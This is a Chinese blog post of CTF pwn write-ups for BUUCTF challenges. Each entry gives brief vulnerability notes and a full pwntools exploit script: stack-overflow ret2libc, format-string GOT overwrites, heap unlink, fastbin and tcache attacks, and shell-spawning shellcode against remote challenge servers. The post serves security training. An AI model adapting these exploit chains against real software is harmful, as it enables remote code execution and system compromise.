rdi=0x400ad3
rsi_r15=0x400ad1
ret=0x400709
leave=0x400A18
main=0x4008F6
p.sendlineafter(">",str(224))
p.recvuntil("saved at ")
stack=int(p.recv(14),16)
print(hex(stack))


payload=b'a'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main)
payload=payload.ljust(208,b'a')
payload+=p64(stack)+p64(leave)

p.sendafter(">",payload)
p.recvline()
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print(hex(libcbase))

p.sendlineafter(">",str(224))
p.recvuntil("saved at ")
stack=int(p.recv(14),16)
print(hex(stack))
p.recv()
payload=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
payload=payload.ljust(208,b'a')
payload+=p64(stack)+p64(leave)
p.send(payload)

#pause()
p.interactive()

19、x_ctf_b0verfl0w

 32位,RELRO半开,动态链接,ida打开看看

 栈溢出,无后门函数,应该是ret2libc3了,毕竟试过了shellcode的字符型吧不行,ropchain也不行,先试试ret2libc3再说

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./b0verfl0w"
#p=process(pwn)
p=remote("node4.buuoj.cn",28806)
#gdb.attach(p,'b *0x80485A0')
#pause()
elf=ELF(pwn)

payload=b'a'*0x24+p32(elf.plt['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvuntil(".")
puts_addr=u32(p.recv(4))
print(hex(puts_addr))

libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))


payload=b'a'*0x24+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

看了学长的博客,了解到还有第二种,应该是最正确的解法,在栈上写入shellcode,然后通过一些跳转指令执行shell

 毕竟这道题给了hint,就是写入shellcode再执行

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./b0verfl0w"
#p=process(pwn)
p=remote("node4.buuoj.cn",28806)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
jesp=0x8048504

payload=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload=payload.ljust(36,b'a')
payload+=p32(jesp)+asm('sub esp,0x28;jmp esp')
p.recv()
p.sendline(payload)
p.recv()
p.interactive()

20、inndy_echo

 32位,RELRO半开,NX保护,动态编译,ida打开看看

 也是格式化字符串漏洞,计算偏移量为7,接下来就是修改printf的地址为system函数got表地址,借助pwntools的pwnlib

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./echo"
#p=process(pwn)
p=remote("node4.buuoj.cn",29454)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
payload=fmtstr_payload(7,{elf.got['printf']:elf.sym['system']})
p.sendline(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()

 

21、picoctf_2018_leak_me

 32位,RELRO半开,NX保护,动态编译,ida打开看看

 有后门函数,一整个看下来就是不太清楚,还是本地运行一下,后面知道了,先输入用户名,在输入密码,且这道题要做要打远程写,第一个fgets函数输入0x100,v5和写入密码的s相差正好0x100,这样我们可以溢出到s处让后面的puts函数直接把密码打印出来.payload=b'a'*0xfc+b'stop'

 下方泄露的密码

 再远程nc,随便输入个名字,密码对就行          a_reAllY_s3cuRe_p4s$word_f85406

22、hitcontraining_unlink

 64位,RELRO半开,Canary,nx保护,ida打开

跟前面一道题目一样,但是既然提示使用unlink,则试试,一样的修改函数堆溢出

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./bamboobox1"
#p=process(pwn)
p=remote("node5.buuoj.cn",28440)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def show():
      p.sendlineafter("Your choice:",str(1))

def create(size,context=b'a'):
      p.sendlineafter("Your choice:",str(2))
      p.sendlineafter("length of item name:",str(size))
      p.sendafter("name of item:",context)

def edit(index,context):
      p.sendlineafter("Your choice:",str(3))
      p.sendlineafter("the index of item:",str(index))
      p.sendlineafter("length of item name:",str(len(context)).encode())
      p.sendafter("the new name of the item:",context)
def delete(index):
      p.sendlineafter("Your choice:",str(4))
      p.sendlineafter("the index of item:",str(index))

create(0x20)  #chunk 0
create(0x20)  #chunk 1
create(0x80)  #chunk 2
create(0x10)   #chunk 3
fakefd=0x6020d8
edit(1,p64(0)+p64(0x21)+p64(fakefd-0x18)+p64(fakefd-0x10)+p64(0x20)+p64(0x90))  进行unlink,chunk2的p位置0,表示上一个chunk 处于free状态

delete(2)
edit(1,b'a'*8+p64(elf.got['atoi']))
show()
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(0,p64(sys_addr))

p.sendlineafter("Your choice:",b'/bin/sh\x00')

#debug()
#pause()
p.interactive()

23、wustctf2020_easyfast

 64位,RELRO半开,Canary打开,NX打开,ida打开

 后门函数括号值为0则调用system函数,该地址上面刚好有个0x50的值,则用fastbin attack

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./wustctf2020_easyfast"
#p=process(pwn)
p=remote("node5.buuoj.cn",25328)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def create(size):
     p.sendlineafter("choice>\n",str(1))
     p.sendlineafter("size>\n",str(size))

def delete(index):
     p.sendlineafter("choice>\n",str(2))
     p.sendlineafter("index>\n",str(index))
     
def read8(index,context):
     p.sendlineafter("choice>\n",str(3))
     p.sendlineafter("index>\n",str(index))  
     p.send(context)       
 
create(0x48)  #chunk 0
create(0x48)   #chunk 1

delete(0)    #只用清除一个,两个的话chunk的总数达到4反而修改不了,
read8(0,p64(0x602080))

create(0x40)  
create(0x40)
read8(3,p64(0))

p.sendline(str(4))
#debug()
#pause()
p.interactive()

24、wustctf2020_name_your_cat

 32位,Canary和NX保护开了,动态编译,ida打开看看,发现后门函数

 

 

 v2大小没做限制,v3数组越界写,gdb动态调试,我输入的是12345,总共可以输入到7 刚好覆盖到返回地址

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./wustctf2020_name_your_cat"
#p=process(pwn)
p=remote("node4.buuoj.cn",26410)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
shel=0x80485CB
p.sendlineafter(">",str(1))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(2))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(3))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(4))
p.sendlineafter("Give your name plz: ",b'AA')
p.sendlineafter(">",str(7))
p.sendlineafter("Give your name plz: ",p32(shel))

p.interactive()

25、axb_2019_fmt64

 64位,RELRO半开,NX保护,ida打开看看

 格式化字符串漏洞,先计算偏移量为8,无system函数,那就泄露prinf函数的got地址,再计算出system的libc的地址,在填入printf函数的got地址,再发送sh

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./axb_2019_fmt64"
#p=process(pwn)
p=remote("node4.buuoj.cn",26479)
elf=ELF(pwn)
#gdb.attach(p,'b *0x40095C')
#pause()


payload=b'aaaa'+b'%9$s'+p64(elf.got['puts'])
p.sendlineafter("Please tell me:",payload)
p.recvuntil(b'aaaa')
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
#pause()

libc=ELF("./libc-2.23-x64.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']

payload = fmtstr_payload(8, {elf.got['printf']:sys_addr})
p.sendline(payload)

p.sendline(b';/bin/sh\x00')
p.interactive()

26、cmcc_pwnme1

 32位,RELRO半开,动态编译,ida打开看看

 按理来说是栈溢出劫持返回地址调用flag函数,但是buu放flag的地方可能有点问题,shellcode试了也没用,就剩ret2libc3

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme1"
#p=process(pwn)
p=remote("node4.buuoj.cn",26156)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
p.sendlineafter("Exit",str(5))
payload=b'a'*0xa8+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
puts_addr=u32(p.recv(4))
print(hex(puts_addr))

libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

payload=b'a'*0xa8+p32(sys_addr)+b'aaaa'+p32(bin_sh)
p.sendlineafter("Exit",str(5))
p.recv()
p.sendline(payload)
p.interactive()

27、axb_2019_brop64

 64位,RELRO开了,NX开了,ida打开

 栈溢出,且if判断语句之后的操作对栈没影响,无后门函数,就是简单的ret2libc

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./axb_2019_brop64"
#p=process(pwn)
p=remote("node4.buuoj.cn",29874)
elf=ELF(pwn)
#gdb.attach(p,'b *0x4012B4')
#pause()
ret=0x400629
rdi=0x400963

payload=b'a'*0xD8+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main'])
p.sendlineafter("me:",payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc=ELF("./libc-2.23-x64.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

payload=b'a'*0xD8+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.sendlineafter("me:",payload)
p.interactive()

28、[极客大挑战 2019]Not Bad

 64位,只有RELRO半开,动态链接,ida打开

 下图限制read,write,open,exit函数,只有这几个函数能用

 沙盒逃逸类题目,且第一个函数在地址0x123000分配了一段可读可写的0x1000大小的空间,栈溢出0x10字节的数据,就在那里写入shellcode,读入flag,栈溢出的大小不够构造,借助jmp rsp 指令,让rsp-0x30指令执行

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./bad"
#p=process(pwn)
p=remote("node5.buuoj.cn",28283)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
mapp=0x123000
buf=0x123100
orw=asm(shellcraft.open('/flag')+shellcraft.read(3,buf,0x30)+shellcraft.write(1,buf,0x30))
jmp_rsp=0x400A01
#debug('b *0x400A34')
shellcode = asm(shellcraft.read(0,mapp,0x100))+asm("mov rax,0x123000;call rax")  # 这里把orw读入mapp的地址处执行,然后跳转到该地址执行
p.sendafter("fun!\n",shellcode.ljust(0x28,b'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;call rsp"))

sleep(1)
p.sendline(orw)
p.recv()
p.interactive()

29、wdb2018_guess

 64位,RELRO半开,Canary开了,NX开了,动态编译

 

 400_A11函数会fork子进程,所以我们有三次溢出的机会,该二进制文件运行时将flag载入内存,根据GDB动调确定flag存放的栈地址,以及偏移量为0x40,

输入数据的地址距离__libc_argv[0]的大小为0x168,environ存放的环境变量地址跟flag的存放地址距离0x168

 

得到libc地址后,libc基址+_environ的偏移量=_environ的地址
在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关

通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量
所以第一次泄露libcbase,第二次泄露environ的环境变量地址,第三次泄露flag

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./GUESS"
p=process(pwn)
#p=remote("node5.buuoj.cn",27309)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
#debug('b *0x400A6F')

p.sendlineafter("guessing flag\n",b'a'*0x128+p64(elf.got['puts']))
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
environ=libcbase+libc.sym['__environ']
print(hex(environ))
p.sendlineafter("guessing flag\n",b'a'*0x128+p64(environ))
environaddr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#pause()
flag=environaddr-0x168
print(hex(environ))
print(hex(flag))

p.sendlineafter("guessing flag\n",b'a'*0x128+p64(flag))
#pause()
p.interactive()

30、actf_2019_babyheap

 除了PIE全开,ida打开,明显的uaf,在看了代码后,采用fastbinattack

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ACTF_2019_babyheap"
#p=process(pwn)
p=remote("node5.buuoj.cn",28409)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
    p.sendlineafter("Your choice: ",str(1))
    p.sendlineafter("input size: ",str(size))
    p.sendafter("input content: ",context)
    
def delete(index):
    p.sendlineafter("Your choice: ",str(2))   
    p.sendlineafter("index: ",str(index))

def show(index):   
    p.sendlineafter("Your choice: ",str(3))
    p.sendlineafter("index: ",str(index))
    
create(0x20)
create(0x20)  
delete(0)
delete(1)
create(0x10,p64(elf.got['atoi']))
show(0)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
delete(2)
create(0x10,p64(bin_sh)+p64(sys_addr))
show(0)
#debug()
#pause()
p.interactive()

31、ciscn_2019_final_3

 保护全开,ida打开,c++堆题,只有申请和删除堆块的功能,且存在uaf

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_final_3"
#p=process(pwn)
p=remote("node5.buuoj.cn",29544)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def add(index,size,content):
    p.sendlineafter('choice > ',str(1))
    p.sendlineafter('input the index\n',str(index))
    p.sendlineafter('input the size\n',str(size))
    p.sendlineafter('something\n',content)
    p.recvuntil("gift :")
    ptr = int(p.recv(14),16)
    print(index,":",hex(ptr))
    return ptr 
def free(index):
    p.sendlineafter('choice > ',str(2))
    p.sendlineafter('input the index\n',str(index))

ptr0 = add(0, 0x50, b'a'*0x10)
add(1, 0x70, 'b'*0x10)
add(2, 0x70, 'c'*0x10)
add(3, 0x50, '/bin/sh\x00')
add(4, 0x10, 'd'*0x10)
free(0)
free(0)
add(5, 0x50, p64(ptr0-0x11e60))
add(6, 0x50, b'a')
add(7, 0x50, b'\x00'*4+b'\x03'+b'a'*(0x40-5)+p64(ptr0+0x50))
add(8, 0x10, p64(0) + p64(0x101))
 
# leak libcbase
free(0)
free(0)
free(1)
add(9,0x50,p64(ptr0+0x60))
add(10, 0x50, b'a')
add(11, 0x50, b'b')
ptr1 = add(12, 0x50, b'a')
main_arena = ptr1 - 96
libcbase = main_arena - 0x10 - libc.sym['__malloc_hook']
print('libcbase => ', hex(libcbase))
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
 
# free_hook => system
free(0)
free(0)
add(13, 0x50, p64(free_hook))
add(14, 0x50, b'a')
add(15, 0x50, p64(system))
 
free(3)
p.interactive()

 

 

32、ciscn_2019_es_1

 保护全开,ida打开,菜单堆题且只有申请,删除,打印功能,打印功能没什么问题,就是依靠chunk 的指针进行输出

 删除功能是uaf漏洞,且free的时候只把自定义大小的chunk 释放,且固定malloc0x18大小的chunk指针还保留,结合下图的申请功能的函数看,会先申请一个0x18大小的chunk ,之后就是我们自定义大小的chunk,且固定大小的chunk的地址存放在固定大小的chunk的指针地址处,且指针地址+8存放自定义大小的size,+12存放电话号码。自定义大小的chunk的size没有限制,libc为2.27,则可以先malloc一个超过0x400大小的chunk,再释放,再打印,绕过了tcache的范围,放入unsorted bin ,再利用打印功能泄露libc的基地址

 

create(0x500,b'a'*0x58,b'b'*0xc) #chunk 0
create(0x20) #chunk 1
create(0x20,b'/bin/sh\x00') #chunk 2
delete(0)
show(0)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
freeaddr=libcbase+libc.sym['__free_hook']

之后就是因为在释放的时候只释放了自定义大小的堆块的指针,但是没有置0,则可以利用tcache bin dup ,且tcache不会对chunk 的size位进行检查

 delete(1) delete(1) create(0x20,p64(freeaddr)) 

 如上图所致,已经把freehook接入链表中,接下来就是把__free_hook的地址上写入system的地址

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_es_1"
p=process(pwn)
#p=remote("node5.buuoj.cn",26093)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'a',call=b'a'):
    p.sendlineafter("choice:",str(1))
    p.sendlineafter("size of compary's name",str(size))
    p.sendafter("input name:",context)
    p.sendafter("compary call:",call)
    
def delete(index):
    p.sendlineafter("choice:",str(3))
    p.sendlineafter("index:",str(index))

def show(index):   
    p.sendlineafter("choice:",str(2))
    p.sendlineafter("index:",str(index))

create(0x500,b'a'*0x58,b'b'*0xc) #chunk 0
create(0x20) #chunk 1
create(0x20,b'/bin/sh\x00') #chunk 2
delete(0)
show(0)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
freeaddr=libcbase+libc.sym['__free_hook']

delete(1)  
delete(1)  
create(0x20,p64(freeaddr))
create(0x20)
create(0x20,p64(sys_addr))
delete(2)
#debug()
#pause()
p.interactive()

 

posted @ 2023-11-27 21:04  fheap  阅读(93)  评论(1编辑  收藏  举报